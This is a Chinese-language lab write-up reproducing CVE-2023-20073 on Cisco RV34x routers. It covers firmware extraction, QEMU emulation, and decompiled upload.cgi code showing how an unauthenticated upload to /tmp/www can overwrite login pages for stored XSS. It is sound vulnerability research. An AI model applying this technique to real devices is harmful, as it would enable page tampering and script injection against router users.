CVE-2023-20073复现 ubuntu18复现的
漏洞介绍 Cisco RV340,RV340W,RV345和 RV345P 四款型号的路由器中最新固件均存在一个未授权任意文件上传漏洞 ,攻击者可以在未授权的情况下将文件上传到 /tmp/upload 目录中,然后利用 upload.cgi 程序中存在的漏洞,最终造成存储型 XSS 攻击。
固件提取 到思科官网下载img文件然后binwalk提取
1 https://software.cisco.com/download/home/286287791 /type /282465789 /release/1.0 .03 .29
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 yy@yy-virtual-machine:~/桌面/1 % binwalk -Me RV34X-v1.0 .03 .29 -2022 -10 -17 -13 -45 -34 -PM.img Scan Time: 2026 -03-10 21 :20 :49 Target File: /home/yy/桌面/1 /RV34X-v1.0 .03 .29 -2022 -10 -17 -13 -45 -34 -PM.img MD5 Checksum: a77fbe0efcc4860aa6d6e8a96841fbcb Signatures: 411 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes , header CRC: 0xC5338998 , created: 2022 -10 -17 08:15 :40 , image size: 74913098 bytes , Data Address: 0x0 , Entry Point: 0x0 , data CRC: 0xD5A96942 , OS: Linux, CPU: ARM, image type : Firmware Image, compression type : gzip, image name: "RV340 Firmware Package" 64 0x40 gzip compressed data, from Unix, last modified: 2022 -10 -17 08:15 :38 57629538 0x36F5B62 Encrypted Hilink uImage firmware headerScan Time: 2026 -03-10 21 :20 :56
有点大,然后可以找到rootfs文件,我发现我的var文件可以指向tmp文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 yy@yy-virtual-machine:~/桌面/1 /rootfs% ls bin dev lib mnt proc root sys tmp vardefault_uci_config etc media overlay rom sbin test_scripts usr www yy@yy-virtual-machine:~/桌面/1 /rootfs% ls -all 总用量 76 drwxrwxr-x 19 yy yy 4096 3 月 10 21 :21 . drwxrwxr-x 4 yy yy 4096 3 月 10 21 :23 .. drwxrwxr-x 2 yy yy 4096 10 月 17 2022 bin drwxrwxr-x 2 yy yy 4096 10 月 17 2022 default_uci_config drwxrwxr-x 2 yy yy 4096 10 月 17 2022 dev drwxrwxr-x 43 yy yy 4096 10 月 17 2022 etc drwxrwxr-x 13 yy yy 4096 10 月 17 2022 lib drwxrwxr-x 2 yy yy 4096 10 月 17 2022 media drwxrwxr-x 3 yy yy 4096 10 月 17 2022 mnt drwxrwxr-x 2 yy yy 4096 10 月 17 2022 overlay drwxrwxr-x 2 yy yy 4096 10 月 17 2022 proc drwxrwxr-x 2 yy yy 4096 10 月 17 2022 rom drwxrwxr-x 3 yy yy 4096 10 月 17 2022 root drwxrwxr-x 2 yy yy 4096 10 月 17 2022 sbin drwxrwxr-x 2 yy yy 4096 10 月 17 2022 sys drwxrwxr-x 2 yy yy 4096 10 月 17 2022 test_scripts drwxrwxr-x 2 yy yy 4096 10 月 17 2022 tmp drwxrwxr-x 8 yy yy 4096 10 月 17 2022 usr lrwxrwxrwx 1 yy yy 4 3 月 10 21 :23 var -> /tmp drwxrwxr-x 12 yy yy 4096 10 月 17 2022 www yy@yy-virtual-machine:~/桌面/1 /rootfs%
Qemu连接 然后看下busybox文件,32位arm小端,然后到官网下载对应文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 yy@yy-virtual-machine:~/桌面/1 /rootfs/bin % ls add_vlans dd gzip mount rmdir uname ash df hostname mv sed usleep board_detect dmesg ipcalc.sh netmsg sh vi busybox dnsdomainname kill netstat sleep wps_ap_pin cat eapd ln nice strings wps_cli check_ubifs_error echo lock opkg sync wps_daemon chgrp egrep login pidof tar wps_monitor chmod false login.sh ping touch wps_pbc chown fgrep ls ping6 true wps_pin config_generate fsync mkdir ps ubus wps_pin_check cp grep mknod pwd uci_cache wps_pingen date gunzip mktemp rm umount zcat yy@yy-virtual-machine:~/桌面/1 /rootfs/bin % file busybox busybox: ELF 32 -bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3 , for GNU/Linux 2.6 .16 , stripped yy@yy-virtual-machine:~/桌面/1 /rootfs/bin %
官网,然后下载下面三个,用wget,但是我的虚拟机连接不到网(不知道为什么),然后用另外一个ubuntu下载压缩一下黏贴过去就好了
1 https://people.debian.org/~aurel32/qemu/armhf/
然后开启本地网卡,给个权限然后执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 yy@yy-virtual-machine:~/桌面/1 % cat net.sh sudo brctl addbr br0 sudo brctl addif br0 ens33 sudo brctl stp br0 off sudo brctl setfd br0 1 sudo brctl sethello br0 1 sudo ifconfig br0 0.0 .0 .0 promisc up sudo ifconfig ens33 0.0 .0 .0 promisc up sudo dhclient br0 sudo brctl show br0 sudo brctl showstp br0 sudo tunctl -t tap0 -u root sudo brctl addif br0 tap0 sudo ifconfig tap0 0.0 .0 .0 promisc up sudo brctl showstp br0 yy@yy-virtual-machine:~/桌面/1 %
然后执行
1 2 3 4 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2 .0 -4 -vexpress \ -initrd initrd.img-3.2 .0 -4 -vexpress -drive if =sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -smp 4
然后就进去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 % sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2 .0 -4 -vexpress \ -initrd initrd.img-3.2 .0 -4 -vexpress -drive if =sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -smp 4 [sudo] yy 的密码: pulseaudio: set_sink_input_volume() failed pulseaudio: Reason: Invalid argument pulseaudio: set_sink_input_mute() failed pulseaudio: Reason: Invalid argument Uncompressing Linux... done, booting the kernel. Debian GNU/Linux 7 debian-armhf ttyAMA0 debian-armhf login: root Password: Last login: Tue Mar 10 13 :05:09 UTC 2026 on ttyAMA0 Linux debian-armhf 3.2 .0 -4 -vexpress The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@debian-armhf:~ root@debian-armhf:~
但是看下qemu网卡发现没有ip配置,所以给他配一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 root@debian-armhf:~ eth0 Link encap:Ethernet HWaddr 52 :54 :00 :12 :34 :56 inet6 addr: fe80::5054 :ff:fe12:3456 /64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1 errors:0 dropped:0 overruns:0 frame:0 TX packets:12 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes :42 (42.0 B) TX bytes :2288 (2.2 KiB) Interrupt:47 lo Link encap:Local Loopback inet addr:127.0 .0 .1 Mask:255.0 .0 .0 inet6 addr: ::1 /128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes :0 (0.0 B) TX bytes :0 (0.0 B) root@debian-armhf:~ root@debian-armhf:~ eth0 Link encap:Ethernet HWaddr 52 :54 :00 :12 :34 :56 inet addr:192.168 .30 .100 Bcast:192.168 .30 .255 Mask:255.255 .255 .0 inet6 addr: fe80::5054 :ff:fe12:3456 /64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2 errors:0 dropped:0 overruns:0 frame:0 TX packets:19 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes :102 (102.0 B) TX bytes :4682 (4.5 KiB) Interrupt:47 lo Link encap:Local Loopback inet addr:127.0 .0 .1 Mask:255.0 .0 .0 inet6 addr: ::1 /128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes :0 (0.0 B) TX bytes :0 (0.0 B) root@debian-armhf:~ PING 192.168 .30 .136 (192.168 .30 .136 ) 56 (84 ) bytes of data. From 192.168 .30 .100 icmp_seq=1 Destination Host Unreachable From 192.168 .30 .100 icmp_seq=2 Destination Host Unreachable From 192.168 .30 .100 icmp_seq=3 Destination Host Unreachable ^C --- 192.168 .30 .136 ping statistics --- 5 packets transmitted, 0 received, +3 errors, 100 % packet loss, time 4027mspipe 3 root@debian-armhf:~
传送文件 然后是启动服务,将rootfs压缩为tar.gz文件,但是发现scp不了,看了下本地ip,查了下发现ip是在ens33的,我们要改为br0的
1 tar -czvf rootfs.tar.gz rootfs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 y@yy-virtual-machine:~/桌面/CVE-2023 -20073 % ip addr show 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00 :00 :00 :00 :00 :00 brd 00 :00 :00 :00 :00 :00 inet 127.0 .0 .1 /8 scope host lo valid_lft forever preferred_lft forever inet6 ::1 /128 scope host valid_lft forever preferred_lft forever 2 : ens33: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000 link/ether 00 :0c:29 :ba:19 :a8 brd ff:ff:ff:ff:ff:ff inet 192.168 .30 .136 /24 brd 192.168 .30 .255 scope global ens33 valid_lft forever preferred_lft forever inet6 2409 :8934 :ee2:cdc:20c:29ff:feba:19a8/64 scope global dynamic mngtmpaddr valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:feba:19a8/64 scope link valid_lft forever preferred_lft forever 3 : docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42 :e7:97 :a8:57 brd ff:ff:ff:ff:ff:ff inet 172.17 .0 .1 /16 brd 172.17 .255 .255 scope global docker0 valid_lft forever preferred_lft forever 5 : tap0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000 link/ether 62 :31 :98 :77 :74 :f9 brd ff:ff:ff:ff:ff:ff 6 : br0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 00 :0c:29 :ba:19 :a8 brd ff:ff:ff:ff:ff:ff inet6 fe80::20c:29ff:feba:19a8/64 scope link valid_lft forever preferred_lft forever
将ens33关掉再重启,然后给br0加ip,然后进行传送
1 sudo scp -r rootfs.tar.gz root@192.168 .30 .100 :/root/rootfs.tar.gz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 % sudo ifconfig ens33 0.0 .0 .0 down yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 % sudo ifconfig ens33 promisc up yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 % sudo ifconfig br0 192.168 .30 .136 netmask 255.255 .255 .0 up yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 % sudo route add default gw 192.168 .30 .1 yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 % ip addr\ > 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00 :00 :00 :00 :00 :00 brd 00 :00 :00 :00 :00 :00 inet 127.0 .0 .1 /8 scope host lo valid_lft forever preferred_lft forever inet6 ::1 /128 scope host valid_lft forever preferred_lft forever 2 : ens33: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000 link/ether 00 :0c:29 :ba:19 :a8 brd ff:ff:ff:ff:ff:ff inet6 fe80::20c:29ff:feba:19a8/64 scope link valid_lft forever preferred_lft forever 3 : docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42 :e7:97 :a8:57 brd ff:ff:ff:ff:ff:ff inet 172.17 .0 .1 /16 brd 172.17 .255 .255 scope global docker0 valid_lft forever preferred_lft forever 5 : tap0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000 link/ether 62 :31 :98 :77 :74 :f9 brd ff:ff:ff:ff:ff:ff 6 : br0: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 00 :0c:29 :ba:19 :a8 brd ff:ff:ff:ff:ff:ff inet 192.168 .30 .136 /24 brd 192.168 .30 .255 scope global br0 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:feba:19a8/64 scope link valid_lft forever preferred_lft forever yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 % sudo scp -r rootfs.tar.gz root@192.168 .30 .100 :/root/rootfs.tar.gz The authenticity of host '192.168.30.100 (192.168.30.100)' can't be established. ECDSA key fingerprint is SHA256:vsd1d4bIDIejcLXSmxMbWQRifTXk5s5hgqU6Ii6E2+E. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added ' 192.168 .30 .100 ' (ECDSA) to the list of known hosts. root@192.168.30.100' s password: rootfs.tar.gz 100 % 59MB 522.4 KB/s 01:56 yy@yy-virtual-machine:~/桌面/CVE-2023 -20073 %
qemu:传送成功,然后解包一下
1 2 3 root@debian-armhf:~ rootfs.tar.gz root@debian-armhf:~
1 2 3 4 5 6 root@debian-armhf:~ root@debian-armhf:~/rootfs bin dev lib mnt proc root sys tmp vardefault_uci_config etc media overlay rom sbin test_scripts usr www root@debian-armhf:~/rootfs
开启服务 然后给rootfs文件可读可写可执行,进入,由于chroot的虚拟环境会导致其无法访问原来的proc,dev,所以这里我们给他挂载到虚拟环境中
1 2 3 4 5 6 chmod -R 777 rootfs cd rootfs/ mount --bind /proc proc mount --bind /dev dev chroot . /bin /sh
看下软链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 / drwxrwxrwx 20 1000 1000 4096 Mar 10 15 :05 . drwxrwxrwx 20 1000 1000 4096 Mar 10 15 :05 .. drwxr-xr-x 2 root root 4096 Mar 10 15 :05 755 drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 bin drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 default_uci_config drwxr-xr-x 10 root root 2760 Mar 10 13 :32 dev drwxrwxrwx 43 1000 1000 4096 Mar 10 15 :12 etc drwxrwxrwx 13 1000 1000 4096 Oct 17 2022 lib drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 media drwxrwxrwx 7 1000 1000 4096 Mar 10 15 :05 mnt drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 overlay drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 proc drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 rom drwxrwxrwx 3 1000 1000 4096 Mar 10 14 :52 root drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 sbin drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 sys drwxrwxrwx 2 1000 1000 4096 Oct 17 2022 test_scripts drwxrwxrwx 26 1000 1000 4096 Mar 10 15 :12 tmp drwxrwxrwx 8 1000 1000 4096 Oct 17 2022 usr lrwxrwxrwx 1 1000 1000 4 Mar 10 12 :37 var -> /tmp drwxrwxrwx 12 1000 1000 4096 Oct 17 2022 www /
然后再该目录下可以看到nginx,那个就是启动服务脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 /etc/init.d SwinfoUpdate firmware schedule_reboot aaa fstab smcroute abootpattern0 gpio_reset snmpinit abootpattern1 hardwaredmz sslvpn abootpattern2 ipgroup strongswan abootpattern3 ipsec sudo abootpattern4 krb5kdc switch ad l2tpd swupdateinit avahi-daemon lanwancheck sysctl avc ldapclient sysfixtime bonjour led syslog boot license sysntpd bootwrapper lldpd syspppoerelay bootwrapper2 mcproxy sysstat bwmgmt miniupnpd system captive_portal ms-switch systemconfig certificate mwan3 systemstats cmm netifd telnet confd network ucifile_check config_update.sh nginx umbrella config_update.sh.rv340 olh umount cron opsdb usb ddns pnpd usbmode devices poeinit uwsgi dnscrypt-proxy pptpd vpnpassthrough dnsmasq qos vpnresourcemgmt done quagga wanport dot1x racoon webfilter dropbear radius wifi_switch dslite radvd wlan_led email rdnssd zburn_in_test fci rip zfinish firewall schedule zzinfo_show /etc/init.d /etc/init.d /etc/init.d
执行一下
但是会显示
1 2 FAILED: confd_load_schemas(addr, addrlen), Error: system call failed (24 ): Connection refused, in function run, line 2413 uci: Entry not found
然后我们发现/etc/init.d有个confd文件执行一下,显示要什么证书,然后进入该目录,执行 generate_default_cert ,这个可以生成默认证书,但是也有uci: Entry not found这个问题,然后发现 /etc/init.d/boot 有个内容是生成这个路径,然后执行一下就可以了
所有步骤是
1 2 3 4 5 /etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start
连接成功了
题外话 每次退出重启服务我都会报错,所以每次重启我就把rootfs文件删除重解压
命令
1 2 3 4 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2 .0 -4 -vexpress \ -initrd initrd.img-3.2 .0 -4 -vexpress -drive if =sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -smp 4
1 2 3 4 5 6 7 8 9 10 11 ifconfig eth0 192.168 .30 .100 netmask 255.255 .255 .0 up tar -xzvf rootfs.tar.gz chmod -R 777 rootfs cd rootfs/ mount --bind /proc proc mount --bind /dev dev chroot . /bin /sh /etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start
漏洞成因 rest.url.conf我们在nginx文件夹内找到rest.url.conf的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 location /api/ { proxy_pass http://rest; include /var/nginx/conf.d/proxy.conf; } location /api/operations/ciscosb-file:file-copy { proxy_pass http://rest; include /var/nginx/conf.d/proxy.conf; proxy_read_timeout 3600 ; proxy_send_timeout 3600 ; } location /api/operations/ciscosb-file:form-file-upload { set $deny 1 ; if ($http_authorization != "" ) { set $deny "0" ; } if ($deny = "1" ) { return 403 ; } upload_pass /form-file-upload; upload_store /tmp/upload; upload_store_access user:rw group:rw all :rw; upload_set_form_field $upload_field_name.name "$upload_file_name" ; upload_set_form_field $upload_field_name.content_type "$upload_content_type" ; upload_set_form_field $upload_field_name.path "$upload_tmp_path" ; upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5" ; upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size" ; upload_pass_form_field "^.*$" ; upload_cleanup 400 404 499 500 -505 ; upload_resumable on; } location /restconf/ { proxy_pass http://rest; include /var/nginx/conf.d/proxy.conf; } location /restconf/operations/ciscosb-file:file-copy { proxy_pass http://rest; include /var/nginx/conf.d/proxy.conf; proxy_read_timeout 3600 ; proxy_send_timeout 3600 ; }
upload.cgi主要看这两个函数
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 int __fastcall main(int a1, char **a2, char **a3){ const char *v3; // r6 char *v4; // r4 char *v5; // r7 char *v6; // r8 void *v7; // r0 _BYTE *v8; // r5 char *v9; // r0 void *v10; // r0 int v11; // r0 int v12; // r6 size_t v13; // r0 char *v14; // r6 char *v15; // r3 int v16; // r6 char *v17; // r8 int v18; // r0 int v19; // r6 char *v20; // r6 int v21; // r0 int v22; // r8 int v23; // r7 char *v24; // r6 int v25; // r0 const char *v26; // r0 char *haystack; // [sp+14h] [bp-464h] BYREF int v29; // [sp+18h] [bp-460h] BYREF char *v30; // [sp+1Ch] [bp-45Ch] BYREF int v31; // [sp+20h] [bp-458h] BYREF int v32; // [sp+24h] [bp-454h] BYREF int v33; // [sp+28h] [bp-450h] BYREF int v34; // [sp+2Ch] [bp-44Ch] BYREF int v35; // [sp+30h] [bp-448h] BYREF int v36; // [sp+34h] [bp-444h] BYREF int v37; // [sp+38h] [bp-440h] BYREF int v38; // [sp+3Ch] [bp-43Ch] BYREF int v39; // [sp+40h] [bp-438h] BYREF _DWORD v40[7 ]; // [sp+44h] [bp-434h] BYREF _BYTE s[1048 ]; // [sp+60h] [bp-418h] BYREF v3 = getenv("CONTENT_LENGTH" ); v4 = getenv("CONTENT_TYPE" ); v5 = getenv("REQUEST_URI" ); v6 = getenv("HTTP_COOKIE" ); v7 = memset(s, 0 , 0x400u); haystack = 0 ; v29 = 0 ; v30 = 0 ; v31 = 0 ; v32 = 0 ; v33 = 0 ; v34 = 0 ; v35 = 0 ; v36 = 0 ; v37 = StrBufCreate(v7); v38 = StrBufCreate(v37); v39 = StrBufCreate(v38); if ( v3 ) v3 = (const char *)atoi(v3); v8 = malloc((size_t)(v3 + 1 )); v8[fread(v8, 1u, (size_t)v3, (FILE *)_bss_start)] = 0 ; if ( v4 && strstr(v4, "boundary=" ) ) { StrBufSetStr(v37, "--" ); v9 = strstr(v4, "boundary" ); StrBufAppendStr(v37, v9 + 9 ); } v10 = memset(v40, 0 , sizeof(v40)); v40[1 ] = sub_1138C; v40[2 ] = sub_11464; dword_2348C = json_object_new_object(v10); v11 = StrBufToStr(v37); v12 = multipart_parser_init(v11, v40); v13 = strlen(v8); multipart_parser_execute(v12, v8, v13); multipart_parser_free(v12); jsonutil_get_string(dword_2348C, &v29, "\"file.path\"" , -1 ); jsonutil_get_string(dword_2348C, &haystack, "\"filename\"" , -1 ); jsonutil_get_string(dword_2348C, &v30, "\"pathparam\"" , -1 ); jsonutil_get_string(dword_2348C, &v31, "\"fileparam\"" , -1 ); jsonutil_get_string(dword_2348C, &v32, "\"destination\"" , -1 ); jsonutil_get_string(dword_2348C, &v33, "\"option\"" , -1 ); jsonutil_get_string(dword_2348C, &v34, "\"cert_name\"" , -1 ); jsonutil_get_string(dword_2348C, &v35, "\"cert_type\"" , -1 ); jsonutil_get_string(dword_2348C, &v36, "\"password\"" , -1 ); if ( v6 ) get_strtok_value(v6, "sessionid=" , ";" , s); if ( !v29 || match_regex("^/tmp/upload/[0-9]{10}$" ) ) { puts("Content-type: text/html\n" ); printf("Error Input" ); goto LABEL_31; } StrBufSetStr(v39, v31); v14 = haystack; if ( haystack ) { if ( strstr(haystack, ".xml" ) ) { v15 = "Configuration" ; } else { if ( !strstr(v14, ".img" ) ) { LABEL_17: StrBufSetStr(v39, v14); goto LABEL_18; } v15 = "Firmware" ; } v30 = v15; goto LABEL_17; } LABEL_18: v16 = v29; v17 = v30; v18 = StrBufToStr(v39); v19 = sub_115EC(v17, v16, v18); if ( v19 ) { puts("Content-type: text/html\n" ); puts("Error Input" ); switch ( v19 ) { case -2 : v26 = "Configure upload fail" ; break ; case -3 : v26 = "The length of filename is greater than 128" ; break ; case -4 : v26 = "The filename is illegal, only support 'a-z' 'A-Z' '0-9' '_' '.' '-'" ; break ; default: goto LABEL_31; } puts(v26); goto LABEL_31; } if ( !strcmp(v5, "/api/operations/ciscosb-file:form-file-upload" ) ) { v20 = v30; v21 = StrBufToStr(v39); sub_125A8(s, v20, v21, v29); } else if ( !strcmp(v5, "/upload" ) && !match_regex("^[A-Fa-f0-9]{64}$" ) ) { v22 = v32; v23 = v33; v24 = v30; v25 = StrBufToStr(v39); sub_1277C(s, v22, v23, v24, v25, v34, v35, v36); } LABEL_31: free(v8); StrBufFree(&v38); StrBufFree(&v37); StrBufFree(&v39); json_object_put(dword_2348C); SYSTEM("rm -f %s/* > /dev/null 2>&1" , "/tmp/upload" ); return 0 ; }
sub_115EC
可以发现,当我们把a1设为"Portal",会执行v8 = "/tmp/www/",这个www可以被web服务器直接访问,我们看关键函数,sprintf(s, "mv -f %s %s/%s", a2, v8, a3),a2是v16=v29,而前面的main函数有个jsonutil_get_string(dword_2348C, &v29, "\"file.path\"", -1);,就是将文件的路径传给v29,假设是/tmp/upload/abc,v8="/tmp/www/",所以是执行mv -f /tmp/upload/abc /tmp/www/v18,然后执行,成功上传返回0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int __fastcall sub_115EC(const char *a1, const char *a2, const char *a3){ bool v3; // zf const char *v8; // r4 int v9; // r4 char s[316 ]; // [sp+Ch] [bp-13Ch] BYREF v3 = a3 == 0 ; if ( a3 ) v3 = a1 == 0 ; if ( v3 ) return -1 ; if ( !strcmp(a1, "Firmware" ) ) { v8 = "/tmp/firmware/" ; } else if ( !strcmp(a1, "Configuration" ) ) { v8 = "/tmp/configuration/" ; } else if ( !strcmp(a1, "Certificate" ) ) { v8 = "/tmp/in_certs/" ; } else if ( !strcmp(a1, "Signature" ) ) { v8 = "/tmp/signature/" ; } else if ( !strcmp(a1, "3g-4g-driver" ) ) { v8 = "/tmp/3g-4g-driver/" ; } else if ( !strcmp(a1, "Language-pack" ) ) { v8 = "/tmp/language-pack/" ; } else if ( !strcmp(a1, "User" ) ) { v8 = "/tmp/user/" ; } else { if ( strcmp(a1, "Portal" ) ) return -1 ; v8 = "/tmp/www/" ; } if ( !is_file_exist(a2) ) return -2 ; if ( strlen(a2) > 0x80 || strlen(a3) > 0x80 ) return -3 ; if ( match_regex("^[a-zA-Z0-9_.-]*$" ) ) return -4 ; sprintf(s, "mv -f %s %s/%s" , a2, v8, a3); debug("cmd=%s" , s); if ( !s[0 ] ) return -1 ; v9 = system(s); if ( v9 < 0 ) error((int )"upload.cgi: %s(%d) Upload failed!" , (int )"prepare_file" , (const char *)0xAD ); return v9; }
如果只是上传到那个目录(/tmp/www)其实没什么,但是这有个关键,服务的index.html和login.html都是指向/tmp/www的文件,那如果将其覆盖掉就可以让其返回我们想要的页面,从而实现存储型 XSS 攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [16 :43 :39 ] ~/桌面/CVE-2023 -20073 /rootfs/www $ ls -all 总用量 80 drwxrwxr-x 12 yy yy 4096 10 月 17 2022 . drwxrwxr-x 19 yy yy 4096 3 月 10 20 :34 .. -rw-rw-r-- 1 yy yy 5008 9 月 26 2022 about.html drwxrwxr-x 2 yy yy 4096 10 月 17 2022 cgi-bin drwxrwxr-x 2 yy yy 4096 10 月 17 2022 config drwxrwxr-x 2 yy yy 4096 10 月 17 2022 debug lrwxrwxrwx 1 yy yy 14 3 月 10 20 :37 download -> /tmp/download/ lrwxrwxrwx 1 yy yy 13 3 月 10 20 :37 help -> /tmp/www/help drwxrwxr-x 15 yy yy 4096 10 月 17 2022 htm drwxrwxr-x 2 yy yy 4096 10 月 17 2022 i18n lrwxrwxrwx 1 yy yy 19 3 月 10 20 :37 index.html -> /tmp/www/index.html -rw-rw-r-- 1 yy yy 3821 9 月 26 2022 index.html.default drwxrwxr-x 2 yy yy 4096 10 月 17 2022 js drwxrwxr-x 20 yy yy 4096 10 月 17 2022 lib lrwxrwxrwx 1 yy yy 19 3 月 10 20 :37 login.html -> /tmp/www/login.html -rw-rw-r-- 1 yy yy 18231 9 月 26 2022 login.html.default drwxrwxr-x 2 yy yy 4096 9 月 26 2022 model drwxrwxr-x 2 yy yy 4096 10 月 17 2022 portal drwxrwxr-x 4 yy yy 4096 10 月 17 2022 themes [16 :43 :43 ] ~/桌面/CVE-2023 -20073 /rootfs/www $
另外一个函数是身份认证,但是我漏洞都执行好了再认证也没什么意义了
sub_125A8
